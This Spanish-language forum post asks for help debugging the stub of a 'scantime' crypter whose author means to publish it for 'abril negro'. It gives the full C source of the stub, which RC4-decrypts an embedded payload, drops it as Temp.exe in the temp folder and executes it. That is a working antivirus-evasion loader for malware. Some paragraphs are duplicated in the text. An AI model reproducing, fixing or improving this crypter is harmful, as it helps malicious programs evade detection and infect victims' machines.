Bueno hace varios dias que llevo con este problemilla por mas que he preguntado a amiguetes que conocen C no encuentran el error.. es un crypter 'scantime' y mando los datos del cifrado por recursos, no se que estoy haciendo mal para que el stub no haga ninguna acción, y no veo el error.
El encriptador está en VB6, os pongo el binario por si me queréis ayudar probandolo con el stub, mirandolo con un editor de recursos para ver si pasa los datos bien etc (pero si los pasa bien..) aqui os lo dejo (el encriptador en VB6).
El stub está metido como recurso en el encriptador, asi que si queréis probar o algo necesitaréis meterlo de nuevo y sobreescribir el otro.
Este es el code del stub en C (compilado con Visual C++ 6) :
Los MessageBox para saber hasta donde llegaba, ya que todavia no me manejo bien con el Olly xD
A ver si podeis encontrar el error y hacerme algunas recomendaciones, y lo publico para el abril negro =)
Saludos!
PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?
El encriptador está en VB6, os pongo el binario por si me queréis ayudar probandolo con el stub, mirandolo con un editor de recursos para ver si pasa los datos bien etc (pero si los pasa bien..) aqui os lo dejo (el encriptador en VB6).
El stub está metido como recurso en el encriptador, asi que si queréis probar o algo necesitaréis meterlo de nuevo y sobreescribir el otro.
Este es el code del stub en C (compilado con Visual C++ 6) :
Código (c) [Seleccionar]
#pragma optimize("gsy", on)
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/ENTRY:main")
#include <windows.h>
LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen);
void main()
{
HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA);
DWORD Size=SizeofResource(GetModuleHandle(NULL),hRes);
MessageBoxA(0,"1","",0);
LPSTR Buff=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Size);
LPSTR tFile=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MAX_PATH);
MessageBoxA(0,"2","",0);
HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes);
Buff=(LPSTR)LockResource(hBuff);
LPSTR xPass=&Buff[Size-11];
Buff=RC4(Buff,xPass,Size-11,10);
MessageBoxA(0,"4","",0);
GetTempPath(MAX_PATH,tFile);
lstrcatA(tFile,"\\Temp.exe");
HANDLE hFile=CreateFile(tFile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(hFile,Buff,Size,0,0);
CloseHandle(hFile);
ShellExecute(NULL,NULL,tFile,NULL,NULL,1);
}
LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen)
{
int i, j = 0, s[256];
DWORD dw;
BYTE tmp;
LPBYTE Buf = (LPBYTE)szBuf;
LPBYTE Key = (LPBYTE)szKey;
for(i = 0; i < 256; i++)
{
s[i] = i;
}
for(i = 0; i < 256; i++)
{
j = (j + s[i] + Key[i % dwKeyLen]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
for(dw = 0; dw < dwBufLen; dw++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
Buf[dw] ^= s[(s[i] + s[j]) % 256];
}
return (LPSTR)Buf;
}
Los MessageBox para saber hasta donde llegaba, ya que todavia no me manejo bien con el Olly xD
A ver si podeis encontrar el error y hacerme algunas recomendaciones, y lo publico para el abril negro =)
Saludos!

PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?
